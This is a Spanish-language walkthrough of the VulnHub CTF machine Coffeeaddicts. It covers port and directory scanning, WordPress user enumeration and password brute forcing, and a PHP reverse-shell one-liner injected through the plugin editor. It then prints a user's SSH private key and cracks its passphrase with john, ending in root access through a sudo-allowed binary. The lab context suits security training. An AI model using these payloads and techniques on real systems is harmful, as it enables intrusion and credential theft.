Cofeeaddicts VulnHub

Escaneo de puertos

nmap -p- --min-rate 5000 -sS <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 04:16 EDT
Nmap scan report for 192.168.5.140
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fc:13:6a:6b:9b:e3:68:18:24:a1:de:2b:28:1e:61:5f (RSA)
|   256 c1:34:94:94:71:71:9c:6e:83:a6:be:c9:2a:1b:3f:d7 (ECDSA)
|_  256 9a:cc:ce:ce:b8:2f:08:bb:2b:99:b6:25:3f:ec:44:61 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:5A:CB:14 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.31 ms 192.168.5.140

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.95 seconds

Puerto 80

Si nos conectamos al puerto 80 nos pondra que en el archivo hosts lo editemos y añadamos el siguiente dominio....

sudo nano /etc/hosts

#Archivo hosts
<IP>           coffeeaddicts.thm

Una vez hecho esto nos podremos meter en la pagina web mediante este dominio...

URL = http://coffeeaddicts.thm/

Ha simple vista en la pagina veremos un codigo de color gris codificado en Base64 o en el codigo fuente se vera mejor...

VEhNe2ltX3RoZV9saXphcmRfa2luZ30gaHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ==

Decodificado:

THM{im_the_lizard_king} https://www.youtube.com/watch?v=dQw4w9WgXcQ

Con esto tendremos una "flag"...

Gobuster

gobuster dir -u http://coffeeaddicts.thm/ -w <WORDLIST> -x php,html,txt -t 50 -r -k

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://coffeeaddicts.thm/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php,html
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html       (Status: 403) [Size: 282]
/.htaccess.php        (Status: 403) [Size: 282]
/.htaccess.txt        (Status: 403) [Size: 282]
/.htpasswd            (Status: 403) [Size: 282]
/.htpasswd.txt        (Status: 403) [Size: 282]
/.htpasswd.html       (Status: 403) [Size: 282]
/.htpasswd.php        (Status: 403) [Size: 282]
/.htaccess            (Status: 403) [Size: 282]
/index.html           (Status: 200) [Size: 735]
/server-status        (Status: 403) [Size: 282]
/wordpress            (Status: 200) [Size: 11249]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Aqui por lo que podremos ver nos aparece un wordpress por lo que haremos lo siguiente...

wpscan --url http://coffeeaddicts.thm/wordpress/ --enumerate u

Info:

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]y
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://coffeeaddicts.thm/wordpress/ [192.168.5.140]
[+] Started: Sat May 25 04:31:59 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://coffeeaddicts.thm/wordpress/xmlrpc.php
 | Found By: Link Tag (Passive Detection)
 | Confidence: 100%
 | Confirmed By: Direct Access (Aggressive Detection), 100% confidence
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://coffeeaddicts.thm/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://coffeeaddicts.thm/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://coffeeaddicts.thm/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.7.1 identified (Insecure, released on 2021-04-15).
 | Found By: Rss Generator (Passive Detection)
 |  - http://coffeeaddicts.thm/wordpress/?feed=rss2, <generator>https://wordpress.org/?v=5.7.1</generator>
 |  - http://coffeeaddicts.thm/wordpress/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.7.1</generator>

[+] WordPress theme in use: coffee-time
 | Location: http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/
 | Latest Version: 2.1.8 (up to date)
 | Last Updated: 2019-07-25T00:00:00.000Z
 | Readme: http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/readme.txt
 | Style URL: http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/style.css?ver=5.7.1
 | Style Name: Coffee Time
 | Style URI: https://strabelli.com/roberto/temaswordpress/
 | Description: Coffee Time is a minimalist, soft, smooth and responsive WordPress theme with device-agnostic layout...
 | Author: Roberto Strabelli
 | Author URI: https://roberto.strabelli.com
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.1.8 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/style.css?ver=5.7.1, Match: 'Version: 2.1.8'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <===============================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] gus
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat May 25 04:32:01 2024
[+] Requests Done: 62
[+] Cached Requests: 6
[+] Data Sent: 16.07 KB
[+] Data Received: 12.981 MB
[+] Memory used: 191.031 MB
[+] Elapsed time: 00:00:02

Aqui nos descubre un user por lo que haremos lo siguiente...

User = gus

Para poder sacar la contraseña vemos que hay 2 comentarios refiriendose a que hay una contraseña publicada en el blog por ahi, por lo que sacaremos todas las palabras posibles de ese post y las volcaremos a un .txt para utilizarlo como diccionario de fuera bruta...

#Diccionario.txt
Maybeuwur
whatcouldgowrong
whatcouldgowronguwur
uwur
gusuwur
LilPeepandcoffeeuwur
perfectcombinationuwur
yesterdaywemade
servedcoffeehalfprice
karaokesession
gusineedyouback

wpscan --url http://coffeeaddicts.thm/wordpress/ --usernames gus --passwords <WORDLIST>

Info:

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://coffeeaddicts.thm/wordpress/ [192.168.5.140]
[+] Started: Sat May 25 04:43:36 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://coffeeaddicts.thm/wordpress/xmlrpc.php
 | Found By: Link Tag (Passive Detection)
 | Confidence: 100%
 | Confirmed By: Direct Access (Aggressive Detection), 100% confidence
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://coffeeaddicts.thm/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://coffeeaddicts.thm/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://coffeeaddicts.thm/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.7.1 identified (Insecure, released on 2021-04-15).
 | Found By: Rss Generator (Passive Detection)
 |  - http://coffeeaddicts.thm/wordpress/?feed=rss2, <generator>https://wordpress.org/?v=5.7.1</generator>
 |  - http://coffeeaddicts.thm/wordpress/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.7.1</generator>

[+] WordPress theme in use: coffee-time
 | Location: http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/
 | Latest Version: 2.1.8 (up to date)
 | Last Updated: 2019-07-25T00:00:00.000Z
 | Readme: http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/readme.txt
 | Style URL: http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/style.css?ver=5.7.1
 | Style Name: Coffee Time
 | Style URI: https://strabelli.com/roberto/temaswordpress/
 | Description: Coffee Time is a minimalist, soft, smooth and responsive WordPress theme with device-agnostic layout...
 | Author: Roberto Strabelli
 | Author URI: https://roberto.strabelli.com
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.1.8 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/style.css?ver=5.7.1, Match: 'Version: 2.1.8'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <==============================================================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 1 user/s
Trying gus / gusineedyouback Time: 00:00:00 <==============================================================================> (11 / 11) 100.00% Time: 00:00:00
Trying gus / gusineedyouback Time: 00:00:00 <=======================================                                        > (11 / 22) 50.00%  ETA: ??:??:??
[SUCCESS] - gus / gusineedyouback                                                                                                                            

[!] Valid Combinations Found:
 | Username: gus, Password: gusineedyouback

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat May 25 04:43:41 2024
[+] Requests Done: 181
[+] Cached Requests: 7
[+] Data Sent: 54.105 KB
[+] Data Received: 145.321 KB
[+] Memory used: 252.254 MB
[+] Elapsed time: 00:00:04

Vemos que nos saca un usuario y contraseña...

User = gus
Password = gusineedyouback

Por lo que nos metemos en el panel de admin para loguearnos como este usuario y poder hacernos una reverse shell...

URL = http://coffeeaddicts.thm/wordpress/wp-admin/

Una vez dentro del panel de admin, nos dirigimos a la seccion de plugins de ahi nos vamos a Plugins Editor y de ahi seleccionamos alguna plantilla que este en .php para poder inyectar ahi la reverse shell en mi caso eleji el plugin llamado akisme-key una vez inyectado ese codigo le damos a activar el plugin y estando a la escucha deberia de hacernos una shell...

$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);

nc -lvnp <PORT>

La sanitizamos...

script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Si nos vamos a la /home/ de gus encontraremos la flag...

user.txt (flag1)

THM{s4v3_y0uR_Cr3d5_b0i}

Si nos vamos a la /home/ de badbyte encontramos la carpeta .ssh/ y dentro esta el id_rsa privado de ese usuario el cual podemos leer...

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,62A318CC0E383648054CF4A211B5BC73

PaK8I9lUsr6gpOoNyTBkcg9NezPIKDfw8uuHWzUFOqtV8hkhgnx/8b9yjD5UQ2rX
nvOcdyVzhfpr293+48mmC1IHq3vMV3db9kqeIJ4LjG7A3yqjD6yw4Gy1NzibWrYT
BLB0MZc5c7st/JPth3cdEwAfIy9d2zm/2NP7cWdBJxBU7eC6jVZClO8nPYVT4rx0
UOPmZfOJfPsK/uaxhP15mMDxi/TiJN6jZ6GB8rbPsagGUT/gGD+iAHiuc+A5M5ko
fSG3+qLs4146Db+DNMRSsx8Lwc+ilGYrbcnWVBZjA5pbKO3YyDkxIY7JealJk4xK
MLL6ZdqW7t0k0R8nKr7YW0Ij2LGAvNeVD7S14p4ebKtTTMFn6iq+zCVeu6zFOWjO
gwgJOkKq9P9+gvl4YxCNUFpugukFgr6FqklsQhCtGNmi+9+riu8Q2ioyCv45xXcw
Sw06OlldsUK7rVMIJZuPVESY8aTmSv59vR7PZUXLHp2RN9z676/eak3y5zqwXkVY
oR4Fbd569n5NRmV8GbPruT0BJcy0A+/hZVxulziLqP1CIR9RkOfH0uvoO/6TD77p
D61nqaci6sVSycuGIymINAi2BoVtWKwgwh+hCXQojRDfIRmuZlZs0nrek4hfp9E3
zA4vcWBVnBs+Xye1lNoLnxvd1rs9AJkpZ10SfJxC1euGhl0yiZ+8y64CGpT6q9Ta
5iWg/wA46yQq5jRLi2FwVzL3lKZgE59OreE0G96tpJZxfN4kisOj0koTxmJXLM4O
eTZSNLN9hJaKx7qGH9Si6wppFKuR43WYwteh7f8htG6u3ODpRE2UiRlwgLVydEyO
PZleAPQuL3SFoifTfKNVwskOT9STQHVa76D+txBK3qfRvpPPezA4PIsnOWbPFi9w
shkWYH358DJkxY8+akqBWC7rtuiCIvEWsFMa/ulkY+9bzDW7pqb3+hA3xtF9VMnC
I1XqaIYzG7+l3uuT1LJtQcdm4DwllKhr2pxApAvmHt7YiZahxNZtK+qYJeloyU3f
YvVq+ITRMl9RXcXR+JZi7plJ5KiVirxZFrMtvoTX+O5BTqdQgED13SzbVZTulLrV
cIwm+gLsse8l0f/q5KbnuNlz5+3/YZoTfPePLGqAtqNP5k/5cRuRV5u6U8xUX29K
k/XOQ/ecKTXKOveLfJl29mcOxUefgxVggZhir2/ewrUgfMsAa+i3hDH1NIkMVXCx
iBzrj+YQCdFg1OpvWhXJ1eEH1Qq9y6kwS+chFf16Bh24ZrmgGSd25zfugWxPyZOM
t+Bv1kOpjdP/JgqkSBA6pvrH4d4ZqJR/Yrnoiky55PoZGmntJqcUdeyNNwdgIyMv
AOMJWH6lLqMN8xPPuPi78ypE5E9oJ/axNlq9v30/JeYhWcTb/l51CSGvwD8hThqK
AW9HxmeJhjJv3RqlhB2nIPZhitQ9wb+cduz0MGZ+yA26AQQhGdpHusEPktu3jwN+
RhjxPcPxNIaijkCTT4x5ZqkRSq3PRQwJ3O7ARKoXoLTScB8KSUhicmstC20ixRGx
svjCWYbFufc6ITOzNCCeM9gUS+WsPs5aJ+nfx5bj+ijSNSUH4UKpPFniHsVY2W8E
-----END RSA PRIVATE KEY-----

A parte que por lo que se puede observar tiene una contraseña configurada, por lo que haremos lo siguiente...

Nos copiamos ese id_rsa privado y nos lo pasamos a nuestro host, vamos a sacar una contraseña cifrada de la siguiente forma...

ssh2john id_rsa > clave

Info:

id_rsa:$sshng$1$16$62A318CC0E383648054CF4A211B5BC73$1200$3da2bc23d954b2bea0a4ea0dc93064720f4d7b33c82837f0f2eb875b35053aab55f21921827c7ff1bf728c3e54436ad79ef39c77257385fa6bdbddfee3c9a60b5207ab7bcc57775bf64a9e209e0b8c6ec0df2aa30facb0e06cb537389b5ab61304b07431973973bb2dfc93ed87771d13001f232f5ddb39bfd8d3fb716741271054ede0ba8d564294ef273d8553e2bc7450e3e665f3897cfb0afee6b184fd7998c0f18bf4e224dea367a181f2b6cfb1a806513fe0183fa20078ae73e0393399287d21b7faa2ece35e3a0dbf8334c452b31f0bc1cfa294662b6dc9d6541663039a5b28edd8c83931218ec979a949938c4a30b2fa65da96eedd24d11f272abed85b4223d8b180bcd7950fb4b5e29e1e6cab534cc167ea2abecc255ebbacc53968ce8308093a42aaf4ff7e82f97863108d505a6e82e90582be85aa496c4210ad18d9a2fbdfab8aef10da2a320afe39c577304b0d3a3a595db142bbad5308259b8f544498f1a4e64afe7dbd1ecf6545cb1e9d9137dcfaefafde6a4df2e73ab05e4558a11e056dde7af67e4d46657c19b3ebb93d0125ccb403efe1655c6e97388ba8fd42211f5190e7c7d2ebe83bfe930fbee90fad67a9a722eac552c9cb862329883408b606856d58ac20c21fa10974288d10df2119ae66566cd27ade93885fa7d137cc0e2f7160559c1b3e5f27b594da0b9f1bddd6bb3d009929675d127c9c42d5eb86865d32899fbccbae021a94faabd4dae625a0ff0038eb242ae6344b8b61705732f794a660139f4eade1341bdeada496717cde248ac3a3d24a13c662572cce0e79365234b37d84968ac7ba861fd4a2eb0a6914ab91e37598c2d7a1edff21b46eaedce0e9444d9489197080b572744c8e3d995e00f42e2f7485a227d37ca355c2c90e4fd49340755aefa0feb7104adea7d1be93cf7b30383c8b273966cf162f70b21916607df9f03264c58f3e6a4a81582eebb6e88222f116b0531afee96463ef5bcc35bba6a6f7fa1037c6d17d54c9c22355ea6886331bbfa5deeb93d4b26d41c766e03c2594a86bda9c40a40be61eded88996a1c4d66d2bea9825e968c94ddf62f56af884d1325f515dc5d1f89662ee9949e4a8958abc5916b32dbe84d7f8ee414ea7508040f5dd2cdb5594ee94bad5708c26fa02ecb1ef25d1ffeae4a6e7b8d973e7edff619a137cf78f2c6a80b6a34fe64ff9711b91579bba53cc545f6f4a93f5ce43f79c2935ca3af78b7c9976f6670ec5479f831560819862af6fdec2b5207ccb006be8b78431f534890c5570b1881ceb8fe61009d160d4ea6f5a15c9d5e107d50abdcba9304be72115fd7a061db866b9a0192776e737ee816c4fc9938cb7e06fd643a98dd3ff260aa448103aa6fac7e1de19a8947f62b9e88a4cb9e4fa191a69ed26a71475ec8d37076023232f00e309587ea52ea30df313cfb8f8bbf32a44e44f6827f6b1365abdbf7d3f25e62159c4dbfe5e750921afc03f214e1a8a016f47c6678986326fdd1aa5841da720f6618ad43dc1bf9c76ecf430667ec80dba01042119da47bac10f92dbb78f037e4618f13dc3f13486a28e40934f8c7966a9114aadcf450c09dceec044aa17a0b4d2701f0a494862726b2d0b6d22c511b1b2f8c25986c5b9f73a2133b334209e33d8144be5ac3ece5a27e9dfc796e3fa28d2352507e142a93c59e21ec558d96f04

Una vez sacado esto, lo vamos a crackear...

john clave

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password         (id_rsa)     
1g 0:00:00:00 DONE 2/3 (2024-05-25 05:05) 33.33g/s 402066p/s 402066c/s 402066C/s 123456..maggie
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Nos sacara una contraseña, por lo que esa password sera del usuario badbyte, nos vamos dentro de la maquina con la shell de nuestro user gus y hacemos lo siguiente...

su badbyte

Y metemos la contraseña que sacamos.... password

Una vez hecho esto ya seriamos ese usuario, si hacemos sudo -l con este usuario veremos lo siguiente...

Matching Defaults entries for badbyte on CoffeeAdicts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User badbyte may run the following commands on CoffeeAdicts:
    (root) /opt/BadByte/shell

Vemos que hay un archivo shell que podemos ejecutar como root, vemos que este archivo parece un binario...

sudo /opt/BadByte/shell

Si lo ejecutamos seriamos root por lo que leemos la ultima flag...

/bin/bash

cd /root/

root.txt (flag2)

THM{im_the_shell_master}